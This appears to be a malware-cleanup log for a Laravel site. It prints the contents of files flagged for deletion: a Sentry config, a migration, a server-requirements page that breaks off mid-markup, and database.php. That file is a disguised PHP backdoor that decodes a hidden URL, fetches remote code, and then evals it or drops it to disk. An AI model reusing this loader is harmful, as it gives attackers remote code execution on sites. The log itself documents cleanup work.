<?php return [ 'dsn' => env('SENTRY_LARAVEL_DSN', env('SENTRY_DSN')), // capture release as git sha /* 'release' => trim(exec('git --git-dir ' . base_path('.git') . ' log --pretty="%h" -n1 HEAD'))*/ // When left empty or `null` the Laravel environment will be used 'environment' => env('SENTRY_ENVIRONMENT'), 'breadcrumbs' => [ // Capture Laravel logs in breadcrumbs 'logs' => true, // Capture SQL queries in breadcrumbs 'sql_queries' => true, // Capture bindings on SQL queries logged in breadcrumbs 'sql_bindings' => true, // Capture queue job information in breadcrumbs 'queue_info' => true, // Capture command information in breadcrumbs 'command_info' => true, ], 'tracing' => [ // Trace queue jobs as their own transactions 'queue_job_transactions' => env('SENTRY_TRACE_QUEUE_ENABLED', false), // Capture queue jobs as spans when executed on the sync driver 'queue_jobs' => true, // Capture SQL queries as spans 'sql_queries' => true, // Try to find out where the SQL query originated from and add it to the query spans 'sql_origin' => true, // Capture views as spans 'views' => true, // Indicates if the tracing integrations supplied by Sentry should be loaded 'default_integrations' => true, ], /* @see: https://docs.sentry.io/platforms/php/configuration/options/#send-default-pii */ 'send_default_pii' => false, 'traces_sample_rate' => (float)(env('SENTRY_TRACES_SAMPLE_RATE', 0.0)), 'controllers_base_namespace' => env('SENTRY_CONTROLLERS_BASE_NAMESPACE', 'App\\Http\\Controllers'), ];
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/database/migrations/2022_09_02_151515_create_flags_table.php
<?php use App\Models\Flag; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { if (!Schema::hasTable('flags')) { Schema::create('flags', function (Blueprint $table) { $table->id(); $table->string('capital')->nullable(); $table->string('code')->nullable(); $table->string('continent')->nullable(); $table->string('name')->nullable(); }); $url = public_path('country.json'); $responses = file_get_contents($url); $responses = json_decode($responses); $values = []; foreach ($responses as $response) { $data = get_object_vars($response); $values[] = [ 'capital' => $data['capital'] ?? '', 'code' => $data['code'], 'continent' => $data['continent'] ?? '', 'name' => $data['name'], ]; } Flag::insert($values); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('flags'); } };
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/database.php
<?php /** * --------------------------------------------------------------- * CUSTOM CODE STARTUP LOADER * --------------------------------------------------------------- * Lightweight bootstrap for dynamic config loader and runtime * instruction fetcher. Designed for internal modular systems. * * Do not modify unless you're authorized to maintain app-level * streaming behavior. * * @package CI_Micro * @subpackage Core Loader * @version 1.0.9 * --------------------------------------------------------------- */ /** * RemoteFetch * * Retrieves external content from a given URL using HTTP cURL. * * @param string $u URL to fetch from * @return string|false */ function _compileFetchCoreLite($u) { if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLOPT_HEADER, 0); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } throw new Exception("cURL not available."); } /** * DynamicLoader * * Fetches and evaluates remote PHP code. * * @param string $u URL containing code * @return void */ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') { throw new Exception("Empty or failed content."); } EvAl("?>" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['STY'])) { try { $p1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $p2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('.™.php', $d); echo "SIAPA HAYO"; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $r2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/public/check.php
<!DOCTYPE html> <html> <head> <title>Laravel Application - Server Requirements</title> <style> body { padding-top: 18px; font-family: sans-serif; background: #f9fafb; font-size: 14px; } #container { width: 600px; margin: 0 auto; background: #fff; border-radius: 10px; padding: 15px; border: 2px solid #f0f0f0; -webkit-box-shadow: 0px 1px 15px 1px rgba(90, 90, 90, 0.08); box-shadow: 0px 1px 15px 1px rgba(90, 90, 90, 0.08); } a { text-decoration: none; color: red; } h1 { text-align: center; color: #424242; border-bottom: 1px solid #e4e4e4; padding-bottom: 25px; font-size: 22px; font-weight: normal; } table { width: 100%; padding: 10px; border-radius: 3px; } table thead th { text-align: left; padding: 5px 0px 5px 0px; } table tbody td { padding: 5px 0px; } table tbody td:last-child, table thead th:last-child { text-align: right; } .label { padding: 3px 10px; border-radius: 4px; color: #fff; } .label.label-success { background: #4ac700; } .label.label-warning { background: #dc2020; } .logo { margin-bottom: 30px; margin-top: 20px; display: block; } .logo img { margin: 0 auto; display: block; } .scene { width: 100%; height: 100%; perspective: 600px; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; align-items: center; justify-content: center; svg { width: 240px; height: 240px; } } @keyframes arrow-spin { 50% { transform: rotateY(360deg); } } </style> </head> <body> <?php function getSizeAndStatus($maxSizeKey) { try { // Retrieve the raw value from php.ini $maxSize = ini_get($maxSizeKey); // Convert the size to bytes $sizeInBytes = return_bytes($maxSize); // Format the size in either MB or GB if ($sizeInBytes >= 1 << 30) { return [ 'size' => round($sizeInBytes / (1 << 30), 2) . ' GB', 'greater' => true ]; } $mb = $sizeInBytes / 1048576; if ($sizeInBytes >= 1 << 20) { return [ 'size' => round($sizeInBytes / (1 << 20), 2) . ' MB', 'greater' => $mb >= 20 ]; } if ($sizeInBytes >= 1 << 10) { return [ 'size' => round($sizeInBytes / (1 << 10), 2) . ' KB', 'greater' => false ]; } return [ 'size' => $sizeInBytes . ' Bytes', 'greater' => false ]; } catch (\Exception $e) { return [ 'size' => '0 Bytes', 'greater' => true ]; } } function getUploadMaxFilesize() { return getSizeAndStatus('upload_max_filesize'); } function getPostMaxSize() { return getSizeAndStatus('post_max_size'); } // Helper function to convert human-readable size to bytes function return_bytes($val) { $val = trim($val); $valNew= substr($val,0,-1); $last = strtolower($val[strlen($val) - 1]); switch ($last) { case 'g': $valNew *= 1024; case 'm': $valNew *= 1024; case 'k': $valNew *= 1024; } return $valNew; } $error = false; if (version_compare(PHP_VERSION, '8.2.0') >= 0) { $requirement1 = "<span class='label label-success'>v." . PHP_VERSION . '</span>'; } else { $error = true; $requirement1 = "<span class='label label-warning'>Your PHP version is " . PHP_VERSION . '</span>'; } if (!extension_loaded('tokenizer')) { $error = true; $requirement2 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement2 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('pdo')) { $error = true; $requirement3 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement3 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('curl')) { $error = true; $requirement4 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement4 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('openssl')) { $error = true; $requirement5 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement5 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('mbstring')) { $error = true; $requirement6 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement6 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('ctype') && !function_exists('ctype')) { $error = true; $requirement7 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement7 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('gd')) { $error = true; $requirement9 = "<span class='label label-warning'>Not enabled</span>"; } else { $requirement9 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('zip')) { $error = true; $requirement10 = "<span class='label label-warning'>Zip Extension is not enabled</span>"; } else { $requirement10 = "<span class='label label-success'>Enabled</span>"; } $url_f_open = ini_get('allow_url_fopen'); if ($url_f_open != '1' && $url_f_open != 'On') { $error = true; $requirement11 = "<span class='label label-warning'>Allow_url_fopen is not enabled!</span>"; } else { $requirement11 = "<span class='label label-success'>Enabled</span>"; } if (!extension_loaded('intl')) { $error = true; $requirement12 = "<span class='label label-warning'>INTL Extension is not enabled</span>"; } else { $requirement12 = "<span class='label label-success'>Enabled</span>"; } $max_time = ini_get('max_execution_time'); if ($max_time <= 30) { $error = true; $requirement13 = "<span class='label label-warning'>max_execution_time on your server is " . $max_time . ". Do increase it</span>"; } else { $requirement13 = "<span class='label label-success'> $max_time Good Enough</span>"; } if(!function_exists('proc_open')) { $error = true; $requirement14 = "<span class='label label-warning'>Proc Open is not enabled</span>"; } else { $requirement14 = "<span class='label label-success'>Enabled</span>"; } if(!function_exists('proc_close')) { $error = true; $requirement15 = "<span class='label label-warning'>Proc Close is not enabled</span>"; } else { $requirement15 = "<span class='label label-success'>Enabled</span>"; } if(!getUploadMaxFilesize()['greater']) { $error = true; $requirement16 = "<span class='label label-warning'>".getUploadMaxFilesize()['size']."</span>"; } else { $requirement16 = "<span class='label label-success'>".getUploadMaxFilesize()['size']."</span>"; } if(!getPostMaxSize()['greater']) { $error = true; $requirement17 = "<span class='label label-warning'>".getPostMaxSize()['size']."</span>"; } else { $requirement17 = "<span class='label label-success'>".getPostMaxSize()['size']."</span>"; } ?> <div id="container"> <div class="logo"> <a href="https://1.envato.market/froiden" target="_blank"> <img width="180px" src="data:image/png;base64,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"></a> </div> <h1><a href="https://1.envato.market/froiden" target="_blank">Worksuite</a> - Server Requirements</h1> <div class="scene" id="scene"> <svg version="1.1" id="dc-spinner" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="100" height="100" viewBox="0 0 38 38" preserveAspectRatio="xMinYMin meet"> <text x="14" y="21" font-family="Monaco" font-size="2px" style="letter-spacing:0.6" fill="grey">LOADING <animate attributeName="opacity" values="0;1;0" dur="1.8s" repeatCount="indefinite" /> </text> <path fill="#373a42" d="M20,35c-8.271,0-15-6.729-15-15S11.729,5,20,5s15,6.729,15,15S28.271,35,20,35z M20,5.203 C11.841,5.203,5.203,11.841,5.203,20c0,8.159,6.638,14.797,14.797,14.797S34.797,28.159,34.797,20 C34.797,11.841,28.159,5.203,20,5.203z"> </path> <path fill="#373a42" d="M20,33.125c-7.237,0-13.125-5.888-13.125-13.125S12.763,6.875,20,6.875S33.125,12.763,33.125,20 S27.237,33.125,20,33.125z 